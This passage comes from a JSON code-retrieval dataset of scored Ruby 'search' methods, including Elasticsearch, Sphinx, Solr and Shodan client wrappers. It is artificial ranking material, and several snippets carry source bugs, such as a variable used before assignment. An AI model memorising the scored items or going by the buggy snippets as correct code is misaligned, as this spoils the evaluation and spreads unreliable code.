"text": "def search(query, options = {})\n attributes = { q: query.to_s }.merge(options.compact)\n\n parsed_options = Utils.transform_attributes(attributes)\n response = http_post \"/indexes/#{@uid}/search\", parsed_options\n\n response['nbHits'] ||= response['estimatedTotalHits'] unless response.key?('totalPages')\n\n response\n end",
"title": ""
},
{
"docid": "0cef5526d9d3edf52c991ac1239272d1",
"score": "0.6755875",
"text": "def search(params = {})\n results = nil\n q = query(params)\n results = client.search index: index_name, body: q.to_json\n instrument :search, query: q, duration: results[\"took\"], total: results[\"hits\"][\"total\"], query_name: q.class.query_name, params: params\n results\n end",
"title": ""
},
{
"docid": "f313344f01288bfc5403759759e47b1b",
"score": "0.67516047",
"text": "def search(query)\n Wgit.indexed_search query\n end",
"title": ""
},
{
"docid": "b1817d3d63ad25586668edb632520b0a",
"score": "0.6717232",
"text": "def search(query, opts = {})\n opts = opts.merge(default_search_options)\n\n results = []\n return results if query.empty?\n\n results = @index.search(query, opts)\n end",
"title": ""
},
{
"docid": "252f42825864379ac00d1529ea0d1b8a",
"score": "0.65083605",
"text": "def search(query, options = {})\n options = {:start => 0, :len => 10 }.merge(options).merge(:q => query)\n if options[:variables]\n options[:variables].each_pair { |k, v| options.merge!( :\"var#{k}\" => v ) }\n options.delete :variables\n end\n\n if options[:docvar_filters]\n # go from { 3 => [ [1, 3], [5, nil] ]} to filter_docvar3 => 1:3,5:*\n options[:docvar_filters].each_pair { |k, v| \n rng = v.map { |val|\n raise ArgumentError, \"using a range with bound count != 2\" unless val.length == 2\n \"#{val[0] || '*'}:#{val[1] || '*'}\"\n }.join \",\"\n options.merge!( :\"filter_docvar#{k}\" => rng ) \n }\n options.delete :docvar_filters\n end\n\n if options[:function_filters]\n # go from { 2 => [ [1 , 3],[5,8] ]} to filter_function2 => 1:3,5:8\n options[:function_filters].each_pair { |k, v| \n rng = v.map { |val|\n raise ArgumentError, \"using a range with bound count != 2\" unless rng.length == 2\n \"#{val[0] || '*'}:#{val[1] || '*'}\"\n }.join \",\"\n options.merge!( :\"filter_function#{k}\" => rng ) \n }\n options.delete :function_filters\n end\n\n if options[:category_filters]\n options[:category_filters] = options[:category_filters].to_json\n end\n\n response = @conn.get do |req|\n req.url 'search', options\n end \n case response.status\n when 400\n raise InvalidQuery\n when 409\n raise IndexInitializing\n end\n\n response.body\n end",
"title": ""
},
{
"docid": "7d4c7858e94f1114ff1ce0a7bdef3af1",
"score": "0.6507308",
"text": "def search(query_params)\n Rails.logger.debug \"[elasticsearch query] #{query_builder(query_params).as_query}\"\n response = client.search query_builder(query_params).as_query\n return response, response[\"hits\"][\"hits\"]\n end",
"title": ""
},
{
"docid": "7b38689dda888509e7a86a9288944a97",
"score": "0.64992166",
"text": "def search(query, params={})\n end",
"title": ""
},
{
"docid": "de364b0f34ca37c781b27eb04893e02e",
"score": "0.64781994",
"text": "def search(query, params = {})\n add_to_actions(params)\n add_to_actions(query)\n end",
"title": ""
},
{
"docid": "4ea0b4488055cf5d3e594c386e4266ac",
"score": "0.6431326",
"text": "def search(query, **params)\n params[:query] = query\n params = turn_into_query(params)\n get(\"/shodan/query/search\", **params)\n end",
"title": ""
},
{
"docid": "db769adc9e0fad89d456230797ac3dcf",
"score": "0.64025855",
"text": "def index\n raise QueryParamError, \"q param is required to perform a search\" if params[:q].blank?\n\n jsonator perform_search(params[:q], build_opts_from(params))\n end",
"title": ""
},
{
"docid": "561c9b50ee7aaba624bd7edd804e2b6c",
"score": "0.6373184",
"text": "def search(query, options = {})\n sphinx = Sphinx::Client.new\n\n @host ||= Sphincter::Configure.get_conf['sphincter']['host']\n @port ||= Sphincter::Configure.get_conf['sphincter']['port']\n\n sphinx.SetServer @host, @port\n\n options[:conditions] ||= {}\n options[:conditions].each do |column, values|\n values = sphincter_convert_values Array(values)\n sphinx.SetFilter column.to_s, values\n end\n\n options[:between] ||= {}\n options[:between].each do |column, between|\n min, max = sphincter_convert_values between\n\n sphinx.SetFilterRange column.to_s, min, max\n end\n\n @default_per_page ||= Sphincter::Configure.get_conf['sphincter']['per_page']\n\n per_page = options[:per_page] || @default_per_page\n page_offset = options.key?(:page) ? options[:page] - 1 : 0\n offset = page_offset * per_page\n\n sphinx.SetLimits offset, per_page\n\n index_name = options[:index] || table_name\n\n sphinx_result = sphinx.Query query, index_name\n\n matches = sphinx_result['matches'].sort_by do |id, match|\n -match['index'] # #find reverses, lame!\n end\n\n ids = matches.map do |id, match|\n (id - match['attrs']['sphincter_index_id']) /\n Sphincter::Configure.index_count\n end\n\n results = Results.new\n\n results.records = find ids\n results.total = sphinx_result['total_found']\n results.per_page = per_page\n\n results\n end",
"title": ""
},
{
"docid": "2441841ac16abac287ca54516fe84f93",
"score": "0.6333555",
"text": "def search(query, params={})\n SearchResult.new(request(\"/search\", params.merge(:query => query)))\n end",
"title": ""
},
{
"docid": "229be3339e7db53b7a60dd922b97afad",
"score": "0.63302803",
"text": "def search(query = '', page: 1, **params)\n params[:query] = query\n params = turn_into_query(params)\n facets = turn_into_facets(facets)\n params[:page] = page\n get('search', params.merge(facets))\n end",
"title": ""
},
{
"docid": "0e4b061e1394b6d1543d7d22d7268dfd",
"score": "0.6329283",
"text": "def search(params = {})\n if params[:skip_search?]\n return blacklight_config.response_model.new({ \"docs\" => [] }, {}, numFound: 0)\n end\n\n data = params[:query]\n\n duration =\n if data[:id]\n duration_for(:article_record_cache_life)\n else\n duration_for(:article_search_cache_life)\n end\n\n response = Rails.cache.fetch(\"articles/index/#{data}\", expires_in: duration) do\n log = { type: \"primo_search\" }.merge(data.dup)\n # We convert to hash because we cannot serialize the Primo response.\n # @see https://github.com/rails/rails/issues/7375\n (do_with_json_logger(log) { Primo.find(data) }).to_h\n end\n\n response_opts = {\n facet_counts: 0,\n numFound: 1,\n document_model: blacklight_config.document_model,\n blacklight_config: blacklight_config,\n }.with_indifferent_access\n\n if !data[:id]\n response_opts.merge!(\n facet_counts: response[\"facets\"].length,\n numFound: response[\"info\"][\"total\"]\n )\n data[:range] = params[:range] || {}\n else\n if response.count == 1\n raise ArticleNotFound\n end\n end\n\n blacklight_config.response_model.new(response, data, response_opts)\n end",
"title": ""
},
{
"docid": "e9bddcde762573c489e0db3f27e4bbf4",
"score": "0.6320083",
"text": "def search(query, opts = {})\n query = { query: { query_string: { query: query }} } if query.is_a?(String)\n query = { query: { has_child: { type: revision_type_name.to_s }.merge(query) } } if opts[:history]\n\n body = query\n\n body[:from] = opts[:from] if opts[:from]\n body[:size] = opts[:size] if opts[:size]\n\n body[:sort] = opts[:sort] if opts[:sort]\n body[:sort] = [body[:sort]] if body[:sort] && !body[:sort].is_a?(Array)\n\n if opts[:scope]\n item_type = \"#{type_name.to_s}_#{opts[:scope]}\"\n else\n item_type = \"#{type_name.to_s}\"\n end\n\n res = es_client.search(index: index_name, type: item_type, body: body)\n\n ElasticsearchResultSet.new(res, type)\n end",
"title": ""
},
{
"docid": "d9689a0f4f9e67afb8995229dc3ecfda",
"score": "0.63170314",
"text": "def search(query=nil, options={})\n options ||= {}\n @search_definition = {\n query: {},\n filter: {},\n facets: {},\n }\n\n __set_filters = lambda do |key, f|\n\n @search_definition[:filter][:and] ||= []\n @search_definition[:filter][:and] |= [f]\n\n @search_definition[:facets][key.to_sym][:facet_filter][:and] ||= []\n @search_definition[:facets][key.to_sym][:facet_filter][:and] |= [f]\n end\n\n @search_definition[:facets] = search_facet_fields.each_with_object({}) do |a,hsh|\n hsh[a.to_sym] = {\n terms: {\n field: a\n },\n facet_filter: {}\n }\n end\n\n unless query.blank?\n @search_definition[:query] = {\n bool: {\n should: [\n { multi_match: {\n query: query,\n # limit which fields to search, or boost here:\n fields: search_text_fields,\n operator: 'and'\n }\n }\n ]\n }\n }\n else\n @search_definition[:query] = { match_all: {} }\n end\n\n options.each do |key,value|\n next unless search_facet_fields.include?(key)\n f = { term: { key.to_sym => value } }\n __set_filters.(key, f)\n end\n\n __elasticsearch__.search(@search_definition)\n\n\n end",
"title": ""
},
{
"docid": "8dd72881876dbed5f4174f187737291d",
"score": "0.63145924",
"text": "def search(query, params={})\n number_of_records_per = 10\n offset = params[:offset] ? params[:offset] : 0\n \n # begin\n \n response = api.get(SEARCH_ENDPOINT, params: {q: query, type: 'artwork', size: number_of_records_per, offset: offset, published: 'true'}.reverse_merge(params)).parse\n # whole = api.search({q: \"#{query}type=artwork\", size: number_of_records_per, offset: offset}.reverse_merge(params))\n \n results = parse_results(response[\"_embedded\"][\"results\"])\n\n if results.any? || response[\"total_count\"] <= offset+number_of_records_per\n if results.empty?\n error_response\n else \n results\n end\n else\n \n offset = offset+number_of_records_per\n search(query, {offset: offset})\n end\n # rescue Faraday::Error::ResourceNotFound => e\n # # error_response(e.message)\n # rescue Faraday::ClientError => e\n # # error_response\n # end\n end",
"title": ""
},
{
"docid": "85a60d72927bf1f2bdb56c021d8d51c9",
"score": "0.630621",
"text": "def search_query(index_name, query, options = SearchOptions.new) end",
"title": ""
},
{
"docid": "e83b62e4fa97c4c499abe7b3b14aae27",
"score": "0.6302401",
"text": "def search(params)\n builder = UnifiedSearchBuilder.new(params)\n es_response = index.raw_search(builder.payload)\n\n example_fetcher = FacetExampleFetcher.new(index, es_response, params,\n builder)\n facet_examples = example_fetcher.fetch\n\n # Augment the response with the suggest result from a separate query.\n if params[:query]\n es_response['suggest'] = fetch_spell_checks(params)\n end\n\n UnifiedSearchPresenter.new(\n params,\n es_response,\n registries,\n facet_examples,\n index.schema\n ).present\n end",
"title": ""
},
{
"docid": "b5ae3daa8d228b37ee572f8f1252ab15",
"score": "0.62800866",
"text": "def search(query, options = {})\n page = (options.delete(:page) || 1).to_i\n options[:fields] ||= '_id'\n options[:size] ||= per_page_for_search(options)\n options[:from] ||= options[:size] * (page - 1)\n options[:query] ||= if query.is_a?(Hash)\n query\n else\n {}.tap do |q|\n q[:query_string] = { :query => query }\n q[:query_string][:default_operator] = options.delete(:default_operator) if options.has_key?(:default_operator)\n end\n end\n query = {}\n case sort = options.delete(:sort)\n when Array,Hash\n options[:sort] = sort\n when String\n query[:sort] = sort\n end\n\n response = ElasticSearchable.request :get, index_mapping_path('_search'), :query => query, :json_body => options\n hits = response['hits']\n ids = hits['hits'].collect {|h| h['_id'].to_i }\n results = self.find(ids).sort_by {|result| ids.index(result.id) }\n\n results.each do |result|\n result.instance_variable_set '@hit', hits['hits'][ids.index(result.id)]\n end\n\n ElasticSearchable::Paginator.handler.new(results, page, options[:size], hits['total'])\n end",
"title": ""
},
{
"docid": "36f934da59b745f739e2180af82f1042",
"score": "0.6276886",
"text": "def search(query, opts = {})\n self.parameters = { 'q' => query }\n parameters['start-index'] = opts[:page] if opts[:page]\n parameters['max-results'] = opts[:count] if opts[:count]\n\n Response.new(get(url.to_s))\n end",
"title": ""
},
{
"docid": "172a128c46d37d1eadfaaa45aa25f9b3",
"score": "0.6271494",
"text": "def find(query=nil, &block)\n return super(query, &block) if query.nil? || query.kind_of?(String)\n\n query = symbolize_keys(query)\n\n if query[:limit]\n limit = query[:limit].to_s.split(/,/).map{|i| i.to_i}\n limit.unshift(0) if limit.size == 1\n end\n\n # Build search query\n search = query[:search]\n if search.nil?\n search = {:classname => self.name}\n query.each_pair do |key, value|\n search[key.to_sym] = value unless [:sort, :limit].include? key.to_sym\n end\n end\n\n # Add sorting to the mix\n if query[:sort]\n last_field = nil\n results = super(search)\n query[:sort].split(/,/).each do |field|\n if %w(asc desc).include? field\n results = results.sort_by(field == 'asc' ? Lucene::Asc[last_field] : Lucene::Desc[last_field])\n last_field = nil\n else\n results = results.sort_by(Lucene::Asc[last_field]) unless last_field.nil?\n last_field = field\n end\n end\n results = results.sort_by(Lucene::Asc[last_field]) unless last_field.nil?\n begin\n results = results.to_a\n rescue NativeException => e\n results = super(search).to_a\n end\n else\n results = super(search).to_a\n end\n\n # Return only the requested subset of results (TODO: can this be done more efficiently within Lucene?)\n if limit\n (limit[0]...(limit[0]+limit[1])).map{|n| results[n] }\n else\n results\n end\n end",
"title": ""
},
{
"docid": "e17006fb9005bb1c2136c3c5ceb74f89",
"score": "0.6247896",
"text": "def search( query )\n # Don't perform a search on empty parameters - this is bad!\n if query\n search_params = {\n :attributes => [],\n :filters => { @joined_biomart_filter => query.join(\",\") },\n :process_results => true,\n :timeout => 20\n }\n \n @filters.each do |name,value|\n search_params[:filters][name] = value\n end\n \n @attributes.each do |attribute|\n search_params[:attributes].push(attribute)\n end\n \n @current_search_results = @dataset.search( search_params )\n @current_sorted_results = sort_results()\n else\n @current_search_results = {}\n @current_sorted_results = {}\n end\n \n return @current_sorted_results\n end",
"title": ""
},
{
"docid": "ca3452d4af0506a01897a88fb2ede880",
"score": "0.6244764",
"text": "def search(query=nil, options={})\n\n options ||= {}\n\n # setup empty search definition\n @search_definition = {\n query: {},\n filter: {},\n facets: {},\n }\n\n # Prefill and set the filters (top-level `filter` and `facet_filter` elements)\n __set_filters = lambda do |key, f|\n\n @search_definition[:filter][:and] ||= []\n @search_definition[:filter][:and] |= [f]\n\n @search_definition[:facets][key.to_sym][:facet_filter][:and] ||= []\n @search_definition[:facets][key.to_sym][:facet_filter][:and] |= [f]\n end\n\n # facets\n @search_definition[:facets] = search_facet_fields.each_with_object({}) do |a,hsh|\n hsh[a.to_sym] = {\n terms: {\n field: a\n },\n facet_filter: {}\n }\n end\n\n # query\n unless query.blank?\n @search_definition[:query] = {\n bool: {\n should: [\n { multi_match: {\n query: query,\n # limit which fields to search, or boost here:\n fields: search_text_fields,\n operator: 'and'\n }\n }\n ]\n }\n }\n else\n @search_definition[:query] = { match_all: {} }\n end\n\n # add filters for facets\n options.each do |key,value|\n next unless search_facet_fields.include?(key)\n\n f = { term: { key.to_sym => value } }\n\n __set_filters.(key, f)\n __set_filters.(key, f)\n\n end\n\n # execute Elasticsearch search\n __elasticsearch__.search(@search_definition)\n\n end",
"title": ""
},
{
"docid": "2fca0d986e9140eca3011a886b047a60",
"score": "0.6233164",
"text": "def search\n if params[:query] && !params[:query].blank? # Check a query has been sent\n q = params[:query].split.join(\" \") # Set the query to a variable and remove leading and trailing whitespace between words\n q = q.sub( \" \", \"* \" ) # Add * after each word to make it a wildcard search\n \n # Define search string that queries only listed attributes of the index and weights them accordingly using ^(weight)\n search_string = \"title:(#{q}*) OR description:(#{q}*) OR error_message_descriptions:(#{q}*)\"\\\n \" OR category_names:(#{q}*) OR tag_names:(#{q}*)\"\\\n \" OR solution_descriptions:(#{q}*) OR post_comments:(#{q}*) OR solutions_comments:(#{q}*)\"\n fetch = [:title, :updated_at, :username, :category_names, :tag_names, :solutions_size, :comments_size, :score]\n if params[:cfacet] && !params[:tfacet]\n @posts = post_query(q, fetch, true, {'category' => params[:cfacet].to_s})\n elsif params[:tfacet] && !params[:cfacet]\n @posts = post_query(q, fetch, true, {'tag' => params[:tfacet].to_s})\n elsif params[:cfacet] && params[:tfacet]\n @posts = post_query(q, fetch, true, {'category' => params[:cfacet].to_s, 'tag' => params[:tfacet].to_s})\n else\n @posts = post_query(q, fetch, true)\n end \n @posts.blank? ? @category_facets = {} : @category_facets = get_facets(@posts, \"category\")\n @posts.blank? ? @tag_facets = {} : @tag_facets = get_facets(@posts, \"tag\")\n @content_header = \"Search Results for query: #{params[:query].strip}\"\n else\n @content_header = \"Search Results for query: \"\n @posts = [].paginate(:page => params[:page])\n end \n render('list')\n end",
"title": ""
},
{
"docid": "5b1de9aaaf03addc0fdddd16d41b725a",
"score": "0.6221347",
"text": "def query_search(query, idx, type = 'document')\n response = request(\n :search,\n index: idx,#Common.prepare_read_index(idx, @read_date, @read_date_months, @config.ignore_max_age),\n type: type,\n body: query) || (return {})\n Common.parse_response(response)\n end",
"title": ""
},
{
"docid": "e19a4a589ba4572f64190df84ac4c286",
"score": "0.6220389",
"text": "def search_args(scroll_time, bulk_size, query)\n {\n search_type: 'scan',\n scroll: scroll_time,\n size: bulk_size,\n index: @index,\n type: @type,\n body: {query: query}\n }\n end",
"title": ""
},
{
"docid": "d5cd20fe789979f917022f87ea3ab3d8",
"score": "0.62200373",
"text": "def query(*args, &block)\n default_options = {:type => document_type, :index => index.name}\n\n if block_given?\n options = args.shift || {}\n else\n query, options = args\n options ||= {}\n end\n\n sort = Array( options[:order] || options[:sort] )\n options = default_options.update(options)\n\n s = Tire::Search::Search.new(options.delete(:index), options)\n options[:per_page] ||= 10\n s.size( options[:per_page].to_i )\n s.from( options[:page].to_i <= 1 ? 0 : (options[:per_page].to_i * (options[:page].to_i-1)) ) if options[:page]\n s.sort do\n sort.each do |t|\n field_name, direction = t.split(' ')\n by field_name, direction\n end\n end unless sort.empty?\n\n if block_given?\n block.arity < 1 ? s.instance_eval(&block) : block.call(s)\n else\n s.query { string query }\n # TODO: Actualy, allow passing all the valid options from\n # <http://www.elasticsearch.org/guide/reference/api/search/uri-request.html>\n s.fields Array(options[:fields]) if options[:fields]\n end\n end",
"title": ""
},
{
"docid": "9de4c048973601c5bd1e8a5eab37cf8a",
"score": "0.619002",
"text": "def search\t\t\n\t\t @query = params[:query]\n\t\t @itemmasters = Itemmaster.search @query, :page => params[:page], :per_page => 10\t\t\n\tend",
"title": ""
},
{
"docid": "e8d78ad6743218ce87bda721222b754f",
"score": "0.61758727",
"text": "def index\n params[:sort_by] ||= 'score'\n params[:type] ||= ['all']\n params[:type] = ['taxon_concept'] if params[:mobile_search] # Mobile search is limited to taxa for now\n @all_params = []\n [:taxon_concept, :image, :video, :sound, :text, :data, :link, :user, :community ,:collection].each do |keyword|\n @all_params << [I18n.t(\"#{keyword}_search_keyword\", count: 1),I18n.t(\"#{keyword}_search_keyword\", count: 123),keyword]\n end\n @sort_by = params[:sort_by]\n @params_type = params[:type]\n @params_type = ['all'] if @params_type.map(&:downcase).include?('all')\n @params_type.map!{ |t| t.camelize }\n @querystring = params[:q] || params[:id] || params[:mobile_search]\n params[:id] = nil\n params[:q] = @querystring\n\n @attributes = []\n @attributes = KnownUri.by_name(@querystring) if search_data?\n\n if request.format == Mime::XML\n return redirect_to controller: \"api\", action: \"search\", id: @querystring\n end\n\n if @querystring == I18n.t(:search_placeholder) || @querystring == I18n.t(:must_provide_search_term_error) || @querystring.blank?\n flash[:error] = I18n.t(:must_provide_search_term_error)\n redirect_to root_path\n end\n\n if @querystring == '*' || @querystring == '%'\n @wildcard_search = true\n if params[:type].size != 1 || !EOL::Solr::SiteSearch.types_to_show_all.include?(params[:type].first)\n bad_query = true\n end\n end\n\n params[:exact] = false\n # if the querystring is a double-quoted string, then interpret this as an exact search\n if @querystring =~ /^\".*\"$/\n @querystring = @querystring[1...-1]\n params[:exact] = true\n end\n\n @page_title = I18n.t(:search_by_term_page_title, term: @querystring)\n if @querystring.blank? || bad_query\n @all_results = empty_paginated_set\n @facets = {}\n else\n query_array = (@querystring.downcase.gsub(/\\s+/m, ' ').strip.split(\" \"))\n query_reserved_words = (query_array & @all_params.map{|key| key[0]}) + (query_array & @all_params.map{|key| key[1]})\n if query_reserved_words.any?\n @params_type += query_reserved_words.map{|word| @all_params.select{|param| param[0] == word || param[1] == word}.first[2].to_s.camelize}\n @params_type -= ['All']\n query_array.reject! {|t| (@all_params.map{|key| key[0]}).include?(t) || (@all_params.map{|key| key[1]}).include?(t)}\n @querystring = query_array.join(\" \")\n params[:type] = @params_type\n end\n search_response = EOL::Solr::SiteSearch.search_with_pagination(@querystring, params.merge({ per_page: @@results_per_page, language_id: current_language.id }))\n @all_results = search_response[:results]\n @facets = (@wildcard_search) ? {} : EOL::Solr::SiteSearch.get_facet_counts(@querystring)\n @suggestions = search_response[:suggestions]\n # TODO - there is a weird, rare border case where total_entries == 1 and #length == 0. Not sure what causes it, but we should handle that\n # case here, probably by re-submitting the search (because, at least in the case I saw, the next load of the page was fine).\n if params[:show_all].blank? && @all_results.length == 1 && @all_results.total_entries == 1\n redirect_to_page(@all_results.first, total_results: 1, params: params)\n elsif params[:show_all].blank? && @params_type[0] == 'All' && @all_results.total_entries > 1 && @all_results.length > 1 &&\n superior_result = pick_superior_result(@all_results)\n redirect_to_page(superior_result, total_results: @all_results.total_entries, params: params)\n end\n end\n params.delete(:type) if params[:type] == ['all']\n params.delete(:sort_by) if params[:sort_by] == 'score'\n\n set_canonical_urls(for: {q: @querystring, show_all: true}, paginated: @all_results,\n url_method: :search_url)\n @combined_results_count = @all_results.total_entries + @attributes.count\n end",
"title": ""
},
{
"docid": "b46c7c7bb7b1d69de71e389b46245abb",
"score": "0.6166731",
"text": "def search_query(index_name, query, options = Options::Search::DEFAULT)\n resp = @backend.document_search(index_name, JSON.generate(query), options.to_backend)\n\n SearchResult.new do |res|\n res.meta_data = SearchMetaData.new do |meta|\n meta.metrics.max_score = resp[:meta_data][:metrics][:max_score]\n meta.metrics.error_partition_count = resp[:meta_data][:metrics][:error_partition_count]\n meta.metrics.success_partition_count = resp[:meta_data][:metrics][:success_partition_count]\n meta.metrics.took = resp[:meta_data][:metrics][:took]\n meta.metrics.total_rows = resp[:meta_data][:metrics][:total_rows]\n meta.errors = resp[:meta_data][:errors]\n end\n res.rows = resp[:rows].map do |r|\n SearchRow.new do |row|\n row.transcoder = options.transcoder\n row.index = r[:index]\n row.id = r[:id]\n row.score = r[:score]\n row.fragments = r[:fragments]\n unless r[:locations].empty?\n row.locations = SearchRowLocations.new(\n r[:locations].map do |loc|\n SearchRowLocation.new do |location|\n location.field = loc[:field]\n location.term = loc[:term]\n location.position = loc[:position]\n location.start_offset = loc[:start_offset]\n location.end_offset = loc[:end_offset]\n location.array_positions = loc[:array_positions]\n end\n end\n )\n end\n row.instance_variable_set(:@fields, r[:fields])\n row.explanation = JSON.parse(r[:explanation]) if r[:explanation]\n end\n end\n if resp[:facets]\n res.facets = resp[:facets].each_with_object({}) do |(k, v), o|\n facet = case options.facets[k]\n when SearchFacet::SearchFacetTerm\n SearchFacetResult::TermFacetResult.new do |f|\n f.terms =\n if v[:terms]\n v[:terms].map do |t|\n SearchFacetResult::TermFacetResult::TermFacet.new(t[:term], t[:count])\n end\n else\n []\n end\n end\n when SearchFacet::SearchFacetDateRange\n SearchFacetResult::DateRangeFacetResult.new do |f|\n f.date_ranges =\n if v[:date_ranges]\n v[:date_ranges].map do |r|\n SearchFacetResult::DateRangeFacetResult::DateRangeFacet.new(r[:name], r[:count], r[:start_time], r[:end_time])\n end\n else\n []\n end\n end\n when SearchFacet::SearchFacetNumericRange\n SearchFacetResult::NumericRangeFacetResult.new do |f|\n f.numeric_ranges =\n if v[:numeric_ranges]\n v[:numeric_ranges].map do |r|\n SearchFacetResult::NumericRangeFacetResult::NumericRangeFacet.new(r[:name], r[:count], r[:min], r[:max])\n end\n else\n []\n end\n end\n else\n next # ignore unknown facet result\n end\n facet.name = v[:name]\n facet.field = v[:field]\n facet.total = v[:total]\n facet.missing = v[:missing]\n facet.other = v[:other]\n o[k] = facet\n end\n end\n end\n end",
"title": ""
},
{
"docid": "7ad0c8c952acfc5082dc5e7b9ba42fae",
"score": "0.61570925",
"text": "def search(query: nil, page: nil)\n query ||= self.query\n page ||= self.page\n\n client.make_request(params: { keyword: query, page: page })\n end",
"title": ""
},
{
"docid": "2ee005bf9fc9114f8a02126e00843c9a",
"score": "0.6145516",
"text": "def search(search_index = nil, params = nil)\n reset\n\n if params.nil?\n params = { 'Keywords' => search_index }\n search_index = 'All'\n end\n\n if params.is_a? String\n params = { 'Keywords' => params }\n end\n\n self.<<({ 'Operation' => 'ItemSearch',\n 'SearchIndex' => search_index }.merge(params))\n get\n end",
"title": ""
},
{
"docid": "bf072bb395f1c95db84d064183a3305b",
"score": "0.61409014",
"text": "def search(query, params = {}, &block)\n params[:query] = query\n init(params)\n yield self if block_given?\n run\n end",
"title": ""
},
{
"docid": "8d110ba27139d796e8ad39e47c982443",
"score": "0.61396635",
"text": "def search(query = \"\", facets: {}, page: 1, minify: true, **params)\n params[:query] = query\n params = turn_into_query(params)\n facets = turn_into_facets(facets)\n params[:page] = page\n params[:minify] = minify\n get(\"/shodan/host/search\", **params.merge(facets))\n end",
"title": ""
},
{
"docid": "30b0476777f7e3ba6e8cc0ea277b0a42",
"score": "0.6128025",
"text": "def search_query(index_name, query, options = Options::Search::DEFAULT)\n resp = @backend.document_search(index_name, JSON.generate(query), options.to_backend(scope_name: @name))\n\n SearchResult.new do |res|\n res.meta_data = SearchMetaData.new do |meta|\n meta.metrics.max_score = resp[:meta_data][:metrics][:max_score]\n meta.metrics.error_partition_count = resp[:meta_data][:metrics][:error_partition_count]\n meta.metrics.success_partition_count = resp[:meta_data][:metrics][:success_partition_count]\n meta.metrics.took = resp[:meta_data][:metrics][:took]\n meta.metrics.total_rows = resp[:meta_data][:metrics][:total_rows]\n meta.errors = resp[:meta_data][:errors]\n end\n res.rows = resp[:rows].map do |r|\n SearchRow.new do |row|\n row.transcoder = options.transcoder\n row.index = r[:index]\n row.id = r[:id]\n row.score = r[:score]\n row.fragments = r[:fragments]\n unless r[:locations].empty?\n row.locations = SearchRowLocations.new(\n r[:locations].map do |loc|\n SearchRowLocation.new do |location|\n location.field = loc[:field]\n location.term = loc[:term]\n location.position = loc[:position]\n location.start_offset = loc[:start_offset]\n location.end_offset = loc[:end_offset]\n location.array_positions = loc[:array_positions]\n end\n end\n )\n end\n row.instance_variable_set(:@fields, r[:fields])\n row.explanation = JSON.parse(r[:explanation]) if r[:explanation]\n end\n end\n if resp[:facets]\n res.facets = resp[:facets].each_with_object({}) do |(k, v), o|\n facet = case options.facets[k]\n when SearchFacet::SearchFacetTerm\n SearchFacetResult::TermFacetResult.new do |f|\n f.terms =\n if v[:terms]\n v[:terms].map do |t|\n SearchFacetResult::TermFacetResult::TermFacet.new(t[:term], t[:count])\n end\n else\n []\n end\n end\n when SearchFacet::SearchFacetDateRange\n SearchFacetResult::DateRangeFacetResult.new do |f|\n f.date_ranges =\n if v[:date_ranges]\n v[:date_ranges].map do |r|\n SearchFacetResult::DateRangeFacetResult::DateRangeFacet.new(r[:name], r[:count], r[:start_time], r[:end_time])\n end\n else\n []\n end\n end\n when SearchFacet::SearchFacetNumericRange\n SearchFacetResult::NumericRangeFacetResult.new do |f|\n f.numeric_ranges =\n if v[:numeric_ranges]\n v[:numeric_ranges].map do |r|\n SearchFacetResult::NumericRangeFacetResult::NumericRangeFacet.new(r[:name], r[:count], r[:min], r[:max])\n end\n else\n []\n end\n end\n else\n next # ignore unknown facet result\n end\n facet.name = v[:name]\n facet.field = v[:field]\n facet.total = v[:total]\n facet.missing = v[:missing]\n facet.other = v[:other]\n o[k] = facet\n end\n end\n end\n end",
"title": ""
},
{
"docid": "c2fce2d50d8c29ecafa97ec8e2624281",
"score": "0.61271626",
"text": "def query(query, **args)\n query_result(query, **args)['response']['docs'].map do |doc|\n ::SolrHit.new(doc)\n end\n end",
"title": ""
},
{
"docid": "fe5c6c8764b4186662ef73c600eea2f5",
"score": "0.6118874",
"text": "def search(query, options = {})\n page = (options.delete(:page) || 1).to_i\n options[:fields] ||= '_id'\n options[:size] ||= per_page_for_search(options)\n options[:from] ||= options[:size] * (page - 1)\n if query.is_a?(Hash)\n options[:query] = query\n else\n options[:query] = {\n :query_string => {\n :query => query,\n :default_operator => options.delete(:default_operator)\n }\n }\n end\n query = {}\n case sort = options.delete(:sort)\n when Array,Hash\n options[:sort] = sort\n when String\n query[:sort] = sort\n end\n\n options[:facets] = {}\n options[:facets].merge! term_facet_query_from(options.delete(:term_facets))\n options[:facets].merge! range_facet_query_from(options.delete(:range_facets))\n\n response = ElasticSearchable.request :get, index_type_path('_search'), :query => query, :json_body => options\n hits = response['hits']\n facets = response['facets']\n ids = hits['hits'].collect {|h| h['_id'].to_i }\n results = self.find(ids).sort_by {|result| ids.index(result.id) }\n\n page = WillPaginate::Collection.new(page, options[:size], hits['total'])\n page.replace results\n\n {\n :results => page,\n :request => ElasticSearchable.encode_json(options),\n :facets => facets_response_from(facets)\n }\n end",
"title": ""
},
{
"docid": "194bf0f8417d182811eac3222d51ff0a",
"score": "0.61168534",
"text": "def search\n @query = \"%#{params[:query]}%\"\n\n search_fields = [\"name\", \"hmdb_id\", \"description\", \"iupac_name\",\n \"formula\", \"smiles\", \"cas\", \"inchi_identifier\",\n \"melting_point\", \"state\", \"wikipedia_name\", \"comments\"]\n conditions_arg = search_fields.map { |sf| \"#{sf} LIKE :query\" }.join(\" OR \")\n\n @metabolites = Metabolite.joins(:concentrations).\n select('DISTINCT metabolites.*').\n where(conditions_arg, query: @query)\n\n respond_to do |format|\n format.html { render action: 'index' } # index.html.erb\n format.xml { render xml: @metabolites }\n format.csv { format_csv }\n end\n end",
"title": ""
},
{
"docid": "2f1a6a38625eb9e5a3035f9622cd675c",
"score": "0.61084294",
"text": "def search(query, indexes = [])\n responses = []\n \n indexes.each do |index|\n self.parameters.merge!({\n \"Operation\" => \"ItemSearch\", \n \"SearchIndex\" => index, \n \"Keywords\" => query,\n \"ResponseGroup\" => \"Small,Images,SalesRank\"\n })\n\n request = Typhoeus::Request.new(self.uri.to_s)\n request.on_complete { |response| responses << Response.new(response) }\n hydra.queue(request)\n end \n\n hydra.run\n responses\n end",
"title": ""
},
{
"docid": "cf2c5df972d5a24af82c0af2c5c7f552",
"score": "0.6087352",
